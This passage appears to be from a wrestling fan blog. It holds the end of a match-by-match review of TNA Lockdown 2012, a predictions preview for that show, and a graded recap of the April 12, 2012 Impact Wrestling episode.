Flair talks over Hulk’s music about how Hogan has ticked him off and there’s a good Hogan chant, the first solid crowd reaction in about an hour. Hulk asks if he can get in Flair’s ring and Flair says that’s fine. Ric sounds very drunk. Hulk says if Flair has a grievance, say it now. This is pure filler in case you couldn’t tell. Hogan says Flair asked if people knew who he was. He’s at Lethal Lockdown (is that match still going?) and here at Lockdown, Eric Bischoff is gone and can’t use his name again.

Hogan challenges Flair to a fight right now and that REALLY ticks Flair off. Hulk drills him and makes a funny face at him….and that’s it. Seriously, it was one punch. Flair says come back here and takes his tie off. Hogan leaves and Flair yells at Tenay. This has been going on WAY too long and it’s not accomplishing anything at all. The fans chant Space Mountain and Flair asks if someone wants to ride it….and that’s it.

We recap Crimson vs. Morgan which is pretty much Morgan’s feud with Abyss and Hernandez all over again.

Crimson vs. Matt Morgan

Crimson is now billed as “The Undefeated” on his graphic. Crimson goes for the door very quickly but Morgan keeps pulling him back in. Morgan walks into a clothesline for two as momentum shifts. Crimson rams him into the cage as the crowd is a little more awake now. He chokes Morgan on the ropes and a spinebuster gets two.

Crimson sets for what looked like the spear but walks into the discus lariat. Big boot puts Crimson down and it’s followed by a nice belly to back suplex. Morgan loads up the Carbon Footprint in the corner but gets tangled in the ropes. Crimson tries a quick escape but they wind up fighting on the top rope. Morgan gets crotched and tied up in the rope, allowing Crimson to climb out for the win at 7:26.

Rating: D. You know, if the time is such a problem tonight, maybe you could have this go a few more minutes and have the TV Title go longer than three minutes. It might keep the issues down a bit more. Anyway, this match was really boring as the feud has been put on hold for the last two weeks. This show is bordering on disaster at this point but there are some big matches to come.

We recap Angle vs. Hardy, which is because of Kurt not liking the way Hardy looks and acts, partially because of Angle’s son being a Hardy fan. Angle cheated to win last time at Victory Road.

Kurt Angle vs. Jeff Hardy

Angle said that he and Hardy could match HHH vs. Undertaker here and he’s had a great track record at this show so hopefully he continues that here. Hardy’s paint is black and white here. There’s this, the world title and the Knockout Tag Titles left so the show still has a small chance. Angle’s thigh is taped due to a legit injury. Kurt pounds him in the corner to start but Jeff comes back with the legdrop between the legs.

They’re going very slowly here but it might be a slow build. Jeff whips him into the corner and hits the slingshot dropkick but he’s holding his neck. Jeff seems to be ok though and he pounds Angle down in the corner. Kurt slams him into the cage which had a great sound. Snap suplex gets two. Back into the cage as it’s pretty clear Kurt is nowhere near 100%. It looks like Jeff is busted a bit but you can’t see that well.

Kurt rams him into the cage again and walks around a lot. Oh yeah Jeff is busted. Jeff comes back with a clothesline and both guys are down. Things speed up again and Jeff comes back with some forearms. Whisper in the Wind gets two. Twisting Stunner puts Kurt down and he loads up the Swanton, but Angle runs the corner and hits a GREAT Angle Slam out of the corner for a close two. Kurt goes for the door but Jeff dives for the leg. Angle pounds on his head and goes for the climb over but Jeff pulls him back. Now Jeff goes up and knocks Kurt back, hitting a standing top rope Vader Bomb for two.

Both guys are down again and it’s Hardy up first. He goes for the door but Kurt grabs the ankle and puts on the ankle lock. Jeff counters into the ankle lock on Angle (on the good leg) but Kurt rolls out. Twist of Fate puts Angle down and Jeff goes for the corner. Swanton connects but he goes up again and hits a second one which gets two. Kurt pulls him head first into the cage and the Angle Slam gets two. Hardy counters the Slam into one of his own before going all the way to the top of the cage for a super Swanton for the pin at 14:48.

Rating: B+. While it’s not as good as Kurt’s other matches, this was a HUGE step up over what the rest of this show has been. I don’t ever remember my heart being in my throat for a spot more than that Swanton though as I thought he was going to kill himself. Angle’s injury slowed this a lot but it was still a very good match and a major help that this show needed.

Knockouts Tag Titles: Eric Young/ODB vs. Rosita/Sarita

Eric and ODB have hockey jerseys on. ODB charges in to jump Sarita and Eric doesn’t know what corner to go to. Isn’t this where Eric is billed from? It’s a comedy match of course with Eric thinking he’s referee, which causes ODB to get in trouble. The girls keep trying to seduce Eric as they work over ODB. ODB comes back, spears Sarita and hits the Bam on Rosita for the pin to retain at 4:17.

Rating: D. Was Eric ever legally in? This was a comedy match to bring the crowd down a bit before the main event. There’s not much else to say here other than the girls minus ODB looked good and Eric is still not that funny. This served its purpose well enough though so points for that.

The announcers talk about the main event for awhile.

Roode says tonight is a fight, not a wrestling match. He’s out for blood and they hate each other. Some idiot fan tried an ECW chant during this.

We recap the main event. It’s another excellent package with Roode talking about how he’s the champion and he’ll do anything to win and Storm talking about how it took ten years to get to this moment.

TNA World Title: James Storm vs. Bobby Roode

Storm drives a truck into the arena. He has something resembling the AMW trenchcoat but it’s not quite the same. Storm jumps him on the floor before the bell rings and takes the fight to him. He rams Roode into the cage and drops an elbow from a table. The bell hasn’t rung yet and they have over half an hour. Storm blocks a cage shot and they fight up the entrance. All Storm so far.

Storm swings a chair at the cage but misses, allowing Roode to hit a clothesline to the back of the head to drive Storm’s head into the steel. Roode gets a beer bottle and Storm is busted. The beer is put on the steps as Roode hammers away. Montgomery Gentry and Storm’s wife are here. They go into the cage and there’s the bell. Roode is in full control and rams Storm into the cage again.

Roode yells a lot and the crowd is quiet enough that you can hear most of it. Suplex and knee drop get two. That cut is opening more and more. Storm Hulks Up and wins a slugout but a running elbow takes him right back down. Storm gets a boot up in the corner but Roode takes him down with a big clothesline for two. Roode does the cheese grater spot on the cage and the tape on Storm’s wrists are all covered in blood.

Roode is still shouting in Storm’s face and has Storm’s blood on his face. We cut to Storm’s wife and she looks as interested as parents when their kid isn’t on stage in a third grade school play. Storm comes back with a bunch of punches and clotheslines. Here’s the Eye of the Storm but Roode escapes. A catapult sends Roode into the cage and the Eye of the Storm gets two.

James walks into a spinebuster for two. Roode is busted also. Closing Time (Codebreaker/Backstabber combo) gets two. Now Roode gets the cheese grater treatment. Roode ducks a dive and Storm eats cage, allowing Roode to hook the Crossface. Storm manages to roll to the ropes but both guys are spent. They go to the corner and Storm fights out of a superplex but gets his head rammed into the cage.

Roode climbs on Storm to try to get out and he kicks Storm down to the mat. Storm climbs up and gets Roode dangling on the top of the cage. He’s back in now and they slug it out on the top rope some more. Storm pulls him down and loads up the Last Call but it hits the referee flush on the jaw.

Roode takes him down and has the door wide open but he wants the beer bottle. He busts it over Storm’s head and demands that Hebner come in for the cover but it only gets two. Instead of sprinting out the door, Roode walks into the Last Call but Storm can’t follow up. Storm superkicks Roode out the door, AND HE KEEPS THE TITLE at 17:39.

Rating: B. This company amazes me. If there was EVER, I mean EVER, a more perfect setup than this, I’d love to see it because this was as perfect as you could get and they go the other way. On top of that, they do it TONIGHT, with the crowd being as uninterested as they’ve ever been. The match was great, the ending…..oh dear.

Storm hugs his wife to end the show.

Overall Rating
: D+. The first half of this show was dreadful, ranking up there with some of the worst shows I’ve ever seen. Angle vs. Hardy breathed life into it and the Knockout Tag was as good as it was going to be. The main event was going strong and then they completely deflate the place (ok it was deflated already) with the ending. This was the perfect place to end Roode’s reign, but instead they swerve us just like at Bound For Glory. I get the idea of a surprise, but there are times where you go with the obvious. This was one of them.

Results
Team Garrett Bischoff b. Team Eric Bischoff – Garrett pinned Eric after a guitar shot
Samoa Joe/Magnus b. Motorcity Machineguns – Middle Rope Elbow to Shelley
D-Von b. Robbie E – Spinebuster
Gail Kim b. Velvet Sky – Rollup with a handful of tights
Crimson b. Matt Morgan – Crimson escaped the cage
Jeff Hardy b. Kurt Angle – Swanton off the top of the cage
ODB/Eric Young b. Sarita/Rosita – The Bam to Rosita
Bobby Roode b. James Storm – Storm superkicked Roode out of the cage

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Lockdown 2012 Preview

It’s that time again. The second biggest show of the year with all cage matches. Here you go.Roode vs. Storm – This is one of those matches that seems like you can’t screw up……….but this is TNA.  I’m not sure if they’re going to mess it up but they could.  I’ll give them the benefit of the doubt though and go with the obvious title change.

Lethal Lockdown – Keep this in mind: Garrett Bischoff is now in control of a world champion, a two time world champion, the hottest commodity in the company, and the most decorated man in the history of the company.  Let that sink in for a minute.  Anyway, I have to go with Garrett’s team.  There’s no reason for him to lose, and besides it lets us have him stand on top even more.  I have no interest in this match though because look at it on paper minus the Bischoffs.  Is there anyone on the heel team other than Ray that can stand up to any of the faces?  No, and that’s why the match isn’t interesting.  Also next year, cut thsi down to 8 people.  Ten is too many.

Kurt Angle vs. Jeff Hardy – This is Angle’s night usually as he has great match after great match at Lockdown.  I’ll take Hardy to win, but this is going to be good.  Angle said that he thinks it’ll be a masterpiece and as good as HHH vs. Undertaker, but then again Kurt thinks people still listen to him.

Tag Titles – I know this is blasphemy but I’m not interested in the Guns at all.  There’s nothing for them to accomplish with the titles anymore at all.  They’re one of the best teams in company history (not as good as Beer Money or AMW but they’re probably third), and there’s no reason for them to get the belts.  They probably will and there’s nothing wrong with them being champions, but there’s nothing left for them to do with the titles.  I’ll go with new champions but with very little confidence.

Morgan vs. Crimson – No way the streak ends here.  Not that it would matter if it did, but it doesn’t end here.  Crimson wins.

Knockouts – Gail has had the belt five months now.  Put it on Velvet already.

TV Title – It’s still D-Von vs. Robbie E.  Did you know this match was happening?  Tenay and Tazz didn’t.  Champion retains.

Thoughts/Predictions?




Impact Wrestling – April 12, 2012: Too Much Bischoff, As Usual

Impact Wrestling
Date: April 12, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

It’s the go home show for Lockdown and again there aren’t any spoilers for the show tonight. The main idea here will probably be the announcing of the teams for Lethal Lockdown, or the Garrett Bischoff Showcase, whichever you prefer to call it. Other than that we’ll likely get a face to face showdown between Roode and Storm. Let’s get to it.

Tonight is the ODB/Eric Young wedding.

Here’s Eric Bischoff to open the show. I’m still not sure how the stipulation of him never being able to use his own name again works, or why most fans would care about that but it’s something else I guess. He starts talking about Lethal Lockdown and the fans chant that they don’t care. He brings out his team: Bully Ray, Gunner, Kazarian, Christopher Daniels and….there’s no fifth man.

Ray wants to know if the fans know who Eric is. The fans again say that they don’t care. Ray is proud to go to war for Eric, but Eric has made one mistake. That mistake is Garrett. Eric says that tonight there’s a best of three series to determine who has the advantage. Gunner is ready for whomever Garrett’s team brings to the table. Speaking of Garrett here he is. The fans cheer for him so there’s validation for him to be on the show I guess.

He has his own team, comprised of Anderson….and I guess we have to wait for the rest of the best of three series to find out the rest.

Mr. Anderson vs. Gunner

We join the match in progress after a break with Anderson ramming Gunner’s head into the buckle. Anderson misses a charge into the corner and Gunner takes over as they head outside. Gunner tries to ram Anderson into the post but gets sent himself. He goes into the barricade face first a few times as well and they head back inside. Anderson drops him with a clothesline and a few elbows but Gunner comes right back. He’s so intense you know. Gunner grabs a rollup with tights for two. They slug it out and Gunner is sent into the post twice. Anderson chokes him into the corner and won’t let up on it, drawing the DQ at 4:47.

Rating: C. This wasn’t bad as Anderson was showing some fire for the first time in a very long time. He’s not interesting for the most part though and that really hurts him. Anderson is just kind of there for the most part and the same is true for Gunner. Neither guy does anything of note in the ring and it makes most of their matches boring. This was a bit different but not by much.

Young is in a poweder blue tux and glasses when Joseph Park shows up. Park asks Eric about a pre-nup which Eric thinks is a dog. Joseph asks Eric to think and the last thing he remembers is that Abyss was involved with Immortal. Joseph leaves Young a business card in case he needs anything. I like the Park character and it’s nice to see him FINALLY get somewhere with this.

Here are the Guns with no entrance and a title match on Sunday. They talk about how great they are and how Joe/Magnus haven’t teamed together long at all. Here are the champions for the semi-traditional tag team face to face talk. Magnus says he respects them (also traditional) but it’s not about who the best team ever is. It’s about who the best team today is, and the Guns are looking at it. A challenge is laid down to fight right now and the Guns are ready but here’s Mexican America to stop it. Anarquia says they should be in on this and both teams promptly destroy them.

Christopher Daniels vs. Austin Aries

Match #2 in the series for Lethal Lockdown advantage. Well at least it’s not AJ. Aries controls with a headlock to start but Daniels gets one of his own. They feel each other out a bit and Aries is moving better than Daniels here. The crowd has been hot all night too. Daniels charges into an elbow but Aries gets crotched as he goes up. Daniels tries a dive on the floor but Aries slides in and hits that sweet suicide dive of his.

Back in Aries takes him down and hits a handspring elbow drop for two. Sunset flip out of the corner gets the same. They trade some reversals and Aries tries to use tights but gets caught. Release Rock Bottom looks to set up the BME but Aries moves. He heads up and hits a missile dropkick followed by a running dropkick in the corner. The Brainbuster gets the clean pin at 5:32.

Rating: B. I’m not a fan of Daniels about 80% of the time, but this was a really fun match. Having Daniels getting away from AJ almost always proves to make him much more enjoyable, probably because it’s ANYTHING but him vs. AJ, but this was good stuff. Aries was flying out there and having him get the clean pin was a nice plus as he needs to get some wins over the bigger names on the show.

Here’s Hardy to cut a promo as they’re assembling the cage for the wedding. He talks about how Angle cost him the world title and on Sunday it all ends in a steel cage. They’re going to hurt each other….and that’s it. He only talked for about 40 seconds.

We get a promo from last Thursday where Storm rants about Roode disrespecting Montgomery Gentry.

Young is still giving himself a pep talk when Rosita and Sarita come in and hit on him. They want the titles back and imply that once the ring goes on his finger his life ends. They both flash him and Young turns them down.

It’s time for the wedding. Let’s get this over with. Eric comes out and is nervous. Here Comes The Bride plays and there’s no ODB. Oh ok she comes out to her theme music. So Cal Val locks them in the cage and Eric looks nervous. Young’s middle name is Cornelius. The minister isn’t thrilled with how strange this is. He says that the cage is symbolic of the strength and commitment needed for a marriage.

There’s a video of their history together which is set to a bad love song which sounds like something off an SNL parody. A lot of Bronco Busters are included. Eric seems quite proud after the video. The fans chant for ODB who looks nervous. They both have their own vows. Eric’s say he be with her no matter what she does and he’ll allow her to rub his feet whenever she wants because he knows she’s into that. She promises to not take his last name but she will take his ring music. She’ll also slap him when necessary because he’s into that. Apparently Eric gets sex whenever he wants.

The minister asks if there’s an objection and cue….Mexican America. Oh wait just the chicks. Didn’t they get repossessed or something? Sarita talks about flashing Eric in the back and says he can have the best Knockout tag champions ever. Rosita takes off her robe and dances in lingerie. He seems interested and ODB is crying. Sarita does the same sort of dance and ODB says she doesn’t have what they have. She does however have this, and she strips her dress off to reveal lingerie and a small flask of her own.

Eric turns to ODB and says he knows the missing ingredient now. He strips down to his underwear as usual but leaves the cummerbund on. They make the minister strip too. Eric says yes, ODB says yes, and ODB kisses him to the mat. This got nearly 14 minutes, or longer than almost two of the first match and the second match combined.

Flair gives Ray a pep talk.

Roode says he has no problem with the match vs. Storm being personal.

Bully Ray vs. AJ Styles

The respective winning team gets the advantage in Lethal Lockdown on Sunday. Feeling out process to start before AJ speeds things up. Everyone is on the floor to watch this one including Flair. Ray sends him to the apron and a big boot puts AJ on the floor. Ray misses a splash and AJ speeds things up, hitting a clothesline and another in the corner.

Tornado DDT is countered and Ray hits a great Samoan Drop for two. Ray goes up but AJ nips up and hits a rana for two. Styles goes to the ropes but Kaz trips him, starting the big brawl. In the ring AJ hits the Pele for a delayed two. AJ gets distracted and Ray gets his chain. AJ tries the springboard forearm but jumps into the chain for the pin at 6:44.

Rating: C. Pretty fun match here as you would expect from both of these guys. I’ve heard rumors that Ray might be getting a world title reign this year and while I would initially think it’s company suicide, it’s no stupider than Garrett’s push. This was a pretty decent match for the most part with AJ doing his usual high flying and Ray being a decent power brawler. Good stuff.

And here’s Hulk to say that now it’s 5 on 5 and Bischoff has three minutes (commercial) to get his last guy.

Back and Flair wants to be the 5th guy but Eric says no. Eric thinks that Hulk is going to be the other team’s fifth guy so Eric wants to be in there so he can stand over Hulk. Hogan says he won’t he (as in Hogan) won’t be in the match but the fifth man will be…..Rob Van Dam. So to recap, we have a two time world champion, a former world champion, the hottest commodity in the company, and the most decorated man in the history of the company all as foot soldiers for GARRETT BISCHOFF. Also, could this match be any more one sided? Eric’s biggest name is who, Ray? But hey, it makes Garrett look good right?

Video on Roode vs. Storm, narrated by Roode. As usual, this was awesome.

We run down the card for Lockdown. I completely forgot about Morgan vs. Crimson.

Madison Rayne/Gail Kim vs. Mickie James/Velvet Sky

Velvet doesn’t do the pigeons thing and Taz is furious. Madison and Mickie start things off. Mickie tries to escape a wristlock so Maidson kicks her in the face. Off to Gail who walks into a flapjack. Velvet comes in and Gail runs over to tag. Sky isn’t in long and it’s back to Mickie who plays pretty face in peril. Mickie avoids a charge in the corner and it’s hot tag to Velvet. Madison makes the save off a bulldog so Velvet DDTs her. Gail tries to leave but Mickie throws her back in. In Yo Face is broken up but so it Eat Defeat. In Yo Face gets the pin at 3:56.

Rating: C-. Not a good match or anything but this was exactly what it needed to be. Velvet gets the pin on Gail to set up their match on Sunday and Mickie and Madison are there to keep the match from happening early. Now why is that such a complex idea for most other matches to get?

Time for the showdown with Storm and Roode. Storm talks first, talking about how they’ve been down the road together and gone to Japan as Beer Money, all while talking about how cool it would be to be world champion one day, then laughing because it wouldn’t happen. Roode says he isn’t going to pretend Beer Money didn’t exist, because it was a proud moment in his life.

However there’s another moment that Roode wants to talk about, and that’s when they both entered the BFG Series. They wrestled in the semi-finals and Roode wound up winning the tournament where he lost in the main event of Bound For Glory while Storm didn’t have a match. This is all accompanied by clips of what they’re talking about which helps a lot. Storm says he remembers that, and then the next week he beat the guy that beat Roode in record time.

Roode remembers two weeks later where he beat Storm for the world title. That was also the night he turned heel. Storm says that was the night that Beer Money’s legacy was destroyed. Roode says there was no legacy because they never were friends. They hated each other and only had success because of that hatred. Storm goes off on Roode for selling out and says his superkick foot is getting antsy.

Storm says this is leading to Nashville but Roode says that this isn’t about Nashville or Storm’s redneck wife and kids. Storm takes off the jacket and Roode says this is getting personal. He talks about Storm’s dead brothers and dead father and they go nose to nose…and we’re out of time as they’re still yelling. Solid segment but they threw a lot at us at once.

Overall Rating: C+. This show was pretty good, but as usual with TNA, if you don’t like the main angle they’ve got going on, you don’t have much of a reason to watch the show. When you look at this show, you get about five segments on Lethal Lockdown, one long one on the title match, a decent one on the tag titles, a match about the Knockouts, and that’s about it.

Angle vs. Hardy got 40 seconds and Crimson vs. Morgan was mentioned in the PPV preview and that’s it. There’s a TV Title match which wasn’t mentioned, but I didn’t expect it to be. In short, as always the problem is too much Bischoff. Lockdown should be good though, so that’s a good sign. Hopefully they don’t screw this up like they do everything else.

Results
Gunner b. Mr. Anderson via DQ when Anderson wouldn’t stop choking Gunner
Austin Aries b. Mr. Anderson – Brainbuster
Bully Ray b. AJ Styles – Ray pinned Styles after hitting him with a chain
Velvet Sky/Mickie James b. Madison Rayne/Gail Kim – In Yo Face to Kim

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